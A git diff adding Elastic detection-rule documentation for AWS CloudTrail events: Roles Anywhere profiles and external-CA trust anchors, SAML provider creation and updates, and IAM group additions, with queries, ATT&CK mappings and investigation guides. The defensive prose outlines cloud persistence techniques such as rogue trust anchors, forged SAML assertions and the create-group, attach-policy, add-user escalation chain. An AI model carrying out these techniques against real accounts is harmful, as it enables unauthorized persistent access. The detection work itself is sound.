**https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** + - **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices] + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "iam.amazonaws.com" + and event.action: "UpdateAssumeRolePolicy" + and aws.cloudtrail.error_code: "MalformedPolicyDocumentException" + and event.outcome: "failure" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Permission Groups Discovery +** ID: T1069 +** Reference URL: https://attack.mitre.org/techniques/T1069/ +* Sub-technique: +** Name: Cloud Groups +** ID: T1069.003 +** Reference URL: https://attack.mitre.org/techniques/T1069/003/ +* Technique: +** Name: Account Discovery +** ID: T1087 +** Reference URL: https://attack.mitre.org/techniques/T1087/ +* Sub-technique: +** Name: Cloud Account +** ID: T1087.004 +** Reference URL: https://attack.mitre.org/techniques/T1087/004/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Brute Force +** ID: T1110 +** Reference URL: https://attack.mitre.org/techniques/T1110/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-iam-roles-anywhere-profile-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-iam-roles-anywhere-profile-creation.asciidoc new file mode 100644 index 0000000000..b14f7fbca3 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-iam-roles-anywhere-profile-creation.asciidoc @@ -0,0 +1,184 @@ +[[prebuilt-rule-8-19-21-aws-iam-roles-anywhere-profile-creation]] +=== AWS IAM Roles Anywhere Profile Creation + +Detects the creation of a new AWS IAM Roles Anywhere profile. Roles Anywhere allows workloads or external systems to assume IAM roles from outside AWS by authenticating via trusted certificate authorities (trust anchors). Adversaries who have established persistence through a rogue trust anchor may create or modify profiles to link them with highly privileged roles, enabling long-term external access to the AWS environment. This rule identifies successful "CreateProfile" API calls and helps detect potentially unauthorized or risky external access configurations. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/rolesanywhere/latest/userguide/introduction.html +* https://docs.datadoghq.com/security/default_rules/cloudtrail-aws-iam-roles-anywhere-trust-anchor-created/ +* https://ermetic.com/blog/aws/keep-your-iam-users-close-keep-your-third-parties-even-closer-part-1/ +* https://docs.aws.amazon.com/rolesanywhere/latest/APIReference/API_CreateProfile.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS IAM +* Use Case: Identity and Access Audit +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS IAM Roles Anywhere Profile Creation* + + +AWS IAM Roles Anywhere allows external workloads — such as CI/CD runners, on-premises systems, or third-party services — +to assume IAM roles securely by presenting a certificate from a trusted anchor. A profile defines the IAM roles that +can be assumed, the trust anchor they are associated with, and session duration limits. + +This rule detects when a new Roles Anywhere profile is created using the `CreateProfile` API call. Unauthorized profile +creation can enable persistent external access if tied to over-privileged roles or to trust anchors associated with +unauthorized certificate authorities (CAs). Monitoring profile creation is crucial to ensuring that only approved roles +and anchors are in use. + + +*Possible investigation steps* + + +- **Identify the actor** + - Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id` to determine + which IAM user, role, or principal created the profile. + - Check whether this identity normally manages Roles Anywhere configurations. + +- **Review profile configuration** + - Inspect `aws.cloudtrail.request_parameters` for key values such as: + - `profileName` + - `roleArns` – confirm that the listed IAM roles are expected and not overly permissive. + - `trustAnchorArn` – verify the trust anchor is valid and authorized. + - `durationSeconds` – check for unusually long session durations. + - Determine if multiple roles were attached, which may indicate excessive privilege aggregation. + +- **Correlate related activity** + - Check for prior or concurrent events by the same actor, including: + - `CreateTrustAnchor` with external or unauthorized certificate authorities. + - `CreateRole`, `PutRolePolicy`, or `AttachRolePolicy` for privilege escalation paths. + - Review whether subsequent `AssumeRoleWithCertificate` events occurred, indicating use of the new profile. + +- **Assess the source context** + - Investigate `source.ip`, `user_agent.original`, and `source.geo` fields to identify if this request originated from an unfamiliar host, region, or automation client (e.g., `boto3`, `curl`, custom SDKs). + - Compare to baseline patterns of legitimate IAM or infrastructure automation. + +- **Validate legitimacy** + - Contact the responsible team (e.g., platform, PKI, or IAM administration) to confirm whether this profile creation + aligns with approved change management or onboarding activities. + + + +*False positive analysis:* + + +- **Legitimate administrative actions** + - IAM or PKI engineers may legitimately create profiles during setup of new external integrations or workloads. + Validate against change control records and deployment logs. +- **Authorized automation** + - Infrastructure-as-code (IaC) pipelines (Terraform, CloudFormation, etc.) may automatically create profiles. + Confirm these operations are sourced from known automation accounts or IP ranges. +- **Development and testing** + - Lab or sandbox accounts may test Roles Anywhere configurations with less restrictive controls. + Ensure alerts from non-production accounts are tuned accordingly. + + +*Response and remediation:* + + +- **Immediate review and containment** + - If unauthorized, disable or delete the created profile (`aws rolesanywhere delete-profile`) and review all + associated IAM roles for misuse. + - Rotate any credentials or revoke certificates issued from unapproved trust anchors. + +- **Investigation** + - Search CloudTrail for additional related actions by the same identity, such as + `CreateTrustAnchor`, `AssumeRoleWithCertificate`, or cross-account access attempts. + - Verify whether any sessions have been initiated using the new profile and identify + which roles were assumed. + +- **Recovery and hardening** + - Restrict `rolesanywhere:CreateProfile` to a small set of administrative roles. + - Implement AWS Config or Security Hub controls to alert on unauthorized or overly + permissive Roles Anywhere profiles. + - Audit IAM role trust policies linked to external anchors and ensure adherence to the + principle of least privilege. + - Review and document all approved Roles Anywhere profiles and their corresponding trust anchors. + + +*Additional information* + + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: aws.cloudtrail + and event.provider: rolesanywhere.amazonaws.com + and event.action: CreateProfile + and event.outcome: success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-iam-roles-anywhere-trust-anchor-created-with-external-ca.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-iam-roles-anywhere-trust-anchor-created-with-external-ca.asciidoc new file mode 100644 index 0000000000..42e5a8b746 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-iam-roles-anywhere-trust-anchor-created-with-external-ca.asciidoc @@ -0,0 +1,165 @@ +[[prebuilt-rule-8-19-21-aws-iam-roles-anywhere-trust-anchor-created-with-external-ca]] +=== AWS IAM Roles Anywhere Trust Anchor Created with External CA + +Detects the creation of an AWS IAM Roles Anywhere Trust Anchor that uses an external certificate authority (CA) rather than an AWS-managed Certificate Manager Private CA (ACM PCA). While Roles Anywhere enables secure, short-term credential issuance for workloads outside AWS, adversaries can exploit this feature by registering their own external CA as a trusted root. This allows them to generate valid client certificates that persistently authenticate to AWS roles from any location, even after key rotation or credential revocation events. This rule helps detect persistence or unauthorized federation attempts by flagging trust anchors configured with non-AWS CAs. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/rolesanywhere/latest/userguide/introduction.html +* https://ermetic.com/blog/aws/keep-your-iam-users-close-keep-your-third-parties-even-closer-part-1/ +* https://docs.aws.amazon.com/rolesanywhere/latest/APIReference/API_CreateTrustAnchor.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS IAM +* Use Case: Identity and Access Audit +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS IAM Roles Anywhere Trust Anchor Created with External CA* + + +AWS IAM Roles Anywhere allows workloads outside AWS (such as on-premises servers or CI/CD agents) to assume AWS IAM roles by presenting X.509 certificates. A trust anchor defines which certificate authority (CA) AWS trusts to validate +these external identities. Normally, organizations use AWS Certificate Manager Private CA (ACM PCA) to control issuance +and revocation. + +This detection rule identifies when a trust anchor is created using an **external CA** (`sourceType= "CERTIFICATE_BUNDLE" or "SELF_SIGNED_REPOSITORY"`) rather than an ACM-managed CA (`sourceType="AWS_ACM_PCA"`). This can indicate an adversary establishing persistent external access, enabling them to authenticate using certificates signed by their own CA. + + +*Possible investigation steps* + + +- **Identify the actor** + - Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id`. + - Determine whether this user or role is normally responsible for IAM configuration or Roles Anywhere setup. + +- **Review the trust anchor details** + - In `aws.cloudtrail.request_parameters`, confirm the `sourceType` and inspect the certificate chain. + - Look for non-AWS issuer names, custom organization fields, or self-signed CA certificates. + +- **Assess the scope and risk** + - Identify which IAM roles are linked to this trust anchor via `Profile` associations. + - Determine whether any of those roles provide privileged or cross-account access. + - Check for subsequent API calls like `CreateProfile`, `CreateRole`, or `AssumeRoleWithCertificate` to gauge whether + the external CA has been used. + +- **Correlate related activity** + - Search for preceding reconnaissance or setup activity: + - `ListTrustAnchors`, `ListProfiles`, `GetRole` + - Attempts to create additional credential paths (`CreateAccessKey`, `CreateOpenIDConnectProvider`) + - Investigate other actions by the same user identity, particularly IAM role or trust policy modifications. + +- **Validate legitimacy** + - Confirm with identity management or security engineering teams whether the external CA is an approved authority. + - Review internal PKI or certificate inventories to ensure this CA is registered in the organization’s trust chain. + + +*False positive analysis* + + +- **Legitimate external CA use** + - Some organizations integrate trusted third-party PKI providers (e.g., Venafi, DigiCert, Entrust) for workload identity management. Validate whether the CA is part of your documented PKI ecosystem. +- **Testing and lab accounts** + - Development or testing environments may temporarily use self-signed certificates to validate Roles Anywhere integrations. + - Confirm that such activity occurs in isolated accounts and not in production. +- **Expected administrative setup** + - Initial configuration by security engineers or platform teams may trigger this rule. Verify via change tickets or + deployment logs before treating as suspicious. + + +*Response and remediation* + + +- **Containment** + - If the CA is unauthorized, immediately delete the trust anchor using + `aws rolesanywhere delete-trust-anchor --trust-anchor-id `. + - Review for any certificates already used to assume roles and revoke those certificates from the external CA. + +- **Investigation** + - Identify all IAM Roles Anywhere profiles linked to the trust anchor (`ListProfiles`). + - Check CloudTrail for any successful `AssumeRoleWithCertificate` calls associated with the external CA. + - Assess whether lateral movement or data exfiltration occurred after the trust anchor creation. + +- **Recovery and hardening** + - Replace unauthorized CAs with ACM PCA-managed ones. + - Restrict `rolesanywhere:CreateTrustAnchor` permissions to security administrators only. + - Monitor for new trust anchor creations and external certificate sources via AWS Config rules or Security Hub findings. + - Implement GuardDuty or Security Hub integrations to detect anomalous IAM and Roles Anywhere behavior. + + +*Additional information* + + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]. + + +==== Rule query + + +[source, js] +---------------------------------- +info where data_stream.dataset == "aws.cloudtrail" + and event.provider == "rolesanywhere.amazonaws.com" + and event.action == "CreateTrustAnchor" + and event.outcome == "success" + and not stringContains(aws.cloudtrail.request_parameters, "sourceType=AWS_ACM_PCA") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-iam-saml-provider-created.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-iam-saml-provider-created.asciidoc new file mode 100644 index 0000000000..d4b6d4e536 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-iam-saml-provider-created.asciidoc @@ -0,0 +1,169 @@ +[[prebuilt-rule-8-19-21-aws-iam-saml-provider-created]] +=== AWS IAM SAML Provider Created + +Detects the creation of a new SAML Identity Provider (IdP) in AWS IAM. SAML providers enable federated authentication between AWS and external identity providers, allowing users to access AWS resources using credentials from the external IdP. Adversaries who have gained administrative access may create rogue SAML providers to establish persistent, federated access to AWS accounts that survives credential rotation. This technique allows attackers to assume roles and access resources by forging SAML assertions from an IdP they control. Creating a SAML provider is a rare administrative action that should be closely monitored and validated against authorized infrastructure changes. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/IAM/latest/APIReference/API_CreateSAMLProvider.html +* https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers_saml.html +* https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-320a + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS IAM +* Use Case: Identity and Access Audit +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS IAM SAML Provider Created* + + +SAML (Security Assertion Markup Language) providers in AWS IAM enable federated authentication, allowing users from external identity providers to access AWS resources without separate AWS credentials. Creating a SAML provider establishes a trust relationship between AWS and the external IdP. + +This rule detects successful `CreateSAMLProvider` API calls. In most environments, SAML provider creation is extremely rare—typically only occurring during initial SSO setup or major infrastructure changes. An unauthorized SAML provider creation could enable an attacker to maintain persistent access by forging SAML assertions from an IdP they control. + + +*Possible investigation steps* + + +- **Identify the actor** + - Review `aws.cloudtrail.user_identity.arn` to determine who created the SAML provider. + - Verify whether this principal is authorized to manage identity federation. + +- **Review the SAML provider details** + - Examine `aws.cloudtrail.request_parameters` for the SAML provider name and metadata document. + - Identify the external IdP URL and signing certificate in the metadata. + +- **Validate business justification** + - Confirm with identity management or platform teams whether this aligns with planned SSO integration. + - Check for related change tickets or infrastructure-as-code deployments. + +- **Check for follow-on activity** + - Search for `CreateRole` or `UpdateAssumeRolePolicy` calls that reference the new SAML provider. + - Look for `AssumeRoleWithSAML` calls using the newly created provider. + +- **Correlate with other suspicious activity** + - Check for preceding privilege escalation or credential access events. + - Look for other persistence mechanisms being established concurrently. + + +*False positive analysis* + + +- **Planned SSO integration** + - SAML providers are created during initial setup of identity federation with Okta, Azure AD, or other IdPs. + - Validate against documented SSO integration projects. + +- **Infrastructure-as-code deployments** + - Terraform, CloudFormation, or other IaC tools may create SAML providers as part of automated deployments. + - Confirm via CI/CD logs. + + +*Response and remediation* + + +- **Immediate containment** + - If unauthorized, delete the SAML provider using `DeleteSAMLProvider`. + - Review and remove any IAM roles that trust the rogue provider. + +- **Investigation** + - Audit CloudTrail for any `AssumeRoleWithSAML` calls using this provider. + - Review all IAM roles with SAML trust relationships. + +- **Hardening** + - Restrict `iam:CreateSAMLProvider` permissions to a limited set of administrative roles. + - Implement SCPs to control SAML provider creation in member accounts. + - Enable AWS Config rules to monitor identity provider configurations. + + +*Additional information* + +- **https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers_saml.html[AWS IAM SAML Providers Documentation]** +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "iam.amazonaws.com" + and event.action: "CreateSAMLProvider" + and event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Credentials +** ID: T1098.001 +** Reference URL: https://attack.mitre.org/techniques/T1098/001/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Domain or Tenant Policy Modification +** ID: T1484 +** Reference URL: https://attack.mitre.org/techniques/T1484/ +* Sub-technique: +** Name: Trust Modification +** ID: T1484.002 +** Reference URL: https://attack.mitre.org/techniques/T1484/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-iam-saml-provider-updated.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-iam-saml-provider-updated.asciidoc new file mode 100644 index 0000000000..3321f43de0 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-iam-saml-provider-updated.asciidoc @@ -0,0 +1,173 @@ +[[prebuilt-rule-8-19-21-aws-iam-saml-provider-updated]] +=== AWS IAM SAML Provider Updated + +Detects when an AWS IAM SAML provider is updated, which manages federated authentication between AWS and external identity providers (IdPs). Adversaries with administrative access may modify a SAML provider’s metadata or certificate to redirect authentication flows, enable unauthorized federation, or escalate privileges through identity trust manipulation. Because SAML providers underpin single sign-on (SSO) access for users and applications, unauthorized modifications may allow persistent or covert access even after credentials are revoked. Monitoring "UpdateSAMLProvider" API activity is critical to detect potential compromise of federated trust relationships. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/IAM/latest/APIReference/API_UpdateSAMLProvider.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS IAM +* Use Case: Identity and Access Audit +* Tactic: Privilege Escalation +* Resources: Investigation Guide + +*Version*: 214 + +*Rule authors*: + +* Elastic +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS IAM SAML Provider Updated* + + +AWS IAM SAML providers enable federated authentication between AWS and external identity providers (IdPs), +allowing users from trusted domains to access AWS resources without separate credentials. +Updating a SAML provider can modify the trust relationship — including the signing certificate or metadata document — +and, if abused, may allow an attacker to redirect authentication flows or gain access through a malicious or compromised IdP. + +This rule detects successful `UpdateSAMLProvider` API calls that do not originate from AWS Single Sign-On (SSO), +as normal SSO operations are filtered out. These changes can be significant because a single unauthorized update +can affect all federated authentication in the account. + + +*Possible investigation steps* + + +- **Validate the actor and context** + - Review `aws.cloudtrail.user_identity.arn`, `user.name`, and `user_agent.original` to determine who performed the update. + - Confirm if the actor is part of an authorized identity management or platform engineering group. + - Review `source.ip` and `cloud.region` fields for unexpected geolocations, IP ranges, or service origins. + +- **Assess the scope of the modification** + - Parse the `aws.cloudtrail.request_parameters` for updates to `SAMLMetadataDocument` or `Certificate` attributes. + - Compare the new metadata with previous versions (available via AWS CLI or AWS Config) to detect unauthorized IdP URLs, + certificates, or assertion endpoints. + - Identify whether the change replaced a valid trusted certificate with an unknown or self-signed one. + +- **Correlate related IAM and authentication events** + - Look for preceding `CreateSAMLProvider` or `DeleteSAMLProvider` activity, as attackers may replace existing trust entities. + - Search for follow-up logins (`AssumeRoleWithSAML`) or STS tokens issued shortly after the update — this could indicate + immediate exploitation of the new configuration. + - Check for concurrent changes to IAM roles associated with SAML federated access. + +- **Confirm authorization** + - Coordinate with your identity management team to confirm whether the SAML provider update aligns with + planned IdP maintenance or certificate rotation. + + +*False positive analysis* + + +- **Planned SSO certificate rotation** + - Most legitimate SAML provider updates occur during routine certificate renewals by authorized IdP admins. + Validate that the update timing aligns with planned identity provider operations. +- **Automated infrastructure processes** + - CI/CD or configuration-as-code pipelines may automatically update SAML metadata as part of deployment. + Verify whether this activity matches known automation patterns. +- **Third-party IdP integrations** + - Some integrated SaaS applications update SAML providers programmatically. Confirm the vendor and the originating credentials before closing as benign. + + +*Response and remediation* + + +- **Immediate review and containment** + - Retrieve the current SAML provider configuration using the AWS CLI (`aws iam get-saml-provider`) + and compare it with the previous known-good state. + - If unauthorized changes are confirmed, restore the previous configuration or delete the compromised provider. + - Temporarily disable federated login access for affected roles or accounts until validation is complete. + +- **Investigation and scoping** + - Review CloudTrail logs for related IAM configuration changes, including `CreateRole`, `AttachRolePolicy`, or + `UpdateAssumeRolePolicy` events that may expand federated trust scope. + - Identify any `AssumeRoleWithSAML` or `GetFederationToken` events following the update, indicating possible exploitation. + - Cross-check logs from your external IdP to verify if unauthorized assertions or logins were attempted post-update. + +- **Recovery and hardening** + - Limit permissions to modify SAML providers (`iam:UpdateSAMLProvider`) to a dedicated identity management role. + - Enforce change control documentation and peer review for all federation configuration changes. + - Enable AWS Config to monitor and record SAML provider resource configuration history. + + +*Additional information* + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]. + + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "iam.amazonaws.com" + and event.action: "UpdateSAMLProvider" + and event.outcome: "success" + and not (source.address: "sso.amazonaws.com" and user_agent.original: "sso.amazonaws.com") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Domain or Tenant Policy Modification +** ID: T1484 +** Reference URL: https://attack.mitre.org/techniques/T1484/ +* Sub-technique: +** Name: Trust Modification +** ID: T1484.002 +** Reference URL: https://attack.mitre.org/techniques/T1484/002/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Domain or Tenant Policy Modification +** ID: T1484 +** Reference URL: https://attack.mitre.org/techniques/T1484/ +* Sub-technique: +** Name: Trust Modification +** ID: T1484.002 +** Reference URL: https://attack.mitre.org/techniques/T1484/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-iam-user-addition-to-group.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-iam-user-addition-to-group.asciidoc new file mode 100644 index 0000000000..67af93fc55 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-iam-user-addition-to-group.asciidoc @@ -0,0 +1,148 @@ +[[prebuilt-rule-8-19-21-aws-iam-user-addition-to-group]] +=== AWS IAM User Addition to Group + +Identifies the addition of a user to a specified group in AWS Identity and Access Management (IAM). Any user added to a group automatically gains the permissions that are assigned to the group. If the target group carries elevated or admin privileges, this action can instantly grant high-risk permissions useful for credential misuse, lateral movement, or privilege escalation. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/IAM/latest/APIReference/API_AddUserToGroup.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Use Case: Identity and Access Audit +* Tactic: Credential Access +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 215 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS IAM User Addition to Group* + + +This rule detects when an IAM user is added to an IAM group via the `AddUserToGroup` API call. If the target group holds elevated privileges, this action may immediately grant that user wide-ranging access useful for credential misuse or lateral movement. This rule helps detect unauthorized privilege escalation via group membership change. Treat as high-risk when the destination group has wide scope (e.g., AdministratorAccess or permissive inline policies). + + +*Possible investigation steps* + + +- **Identify the actor and target** + - Check `aws.cloudtrail.user_identity.arn` for who added the user. + - From `aws.cloudtrail.request_parameters`, capture `userName` (added user) and `groupName` (destination group). + - Check `source.ip`, `user_agent.original`, `cloud.region` for unusual patterns. + +- **Examine the group’s privileges** + - Use `GetGroup`, `ListAttachedGroupPolicies` to see what policies the group holds. Look for `AdministratorAccess`, `iam:*`, `s3:*`, `ec2:*` or cross-account permissions. + - Check whether the group was recently created (`CreateGroup`) or recently escalated (`AttachGroupPolicy`). Common attacker pattern: create > attach policy > add user. + +- **Correlate with surrounding activity** + - Look for preceding events by the actor: `AssumeRole`, `GetSessionToken`, `CreateAccessKey`, `AttachGroupPolicy`. + - Follow the added user’s activities after group membership. Look for sensitive operations (e.g., IAM actions, S3 policy changes, EC2 snapshot/AMI activity). + + + +*False positive analysis* + + +- Onboarding or role transitions may legitimately add users to groups. +- Automated Identity-Management pipelines may add many users to service groups; validate know + + +*Response and remediation* + + +- **Containment**: + - If unapproved, remove the user from the group immediately (`RemoveUserFromGroup`) and rotate their access keys. + - Temporarily restrict group policy changes while assessing blast radius. + +- **Investigation and scoping**: + - Review all actions executed by the newly added user since the change (ex: PutBucketPolicy, CreateAccessKey, PassRole). + - Confirm whether other users were added to the same group within the same window. + +- **Recovery and hardening**: + - Enforce least privilege by redesigning large-group membership. + - Restrict `iam:AddUserToGroup` to only appropriate service principals with approval workflow. + - Create detections for AttachGroupPolicy to powerful policies and for mass AddUserToGroup patterns. + + +*Additional information* + +https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Security Best Practices] + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: aws.cloudtrail and + event.provider: iam.amazonaws.com and + event.action: AddUserToGroup and + event.outcome: success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference 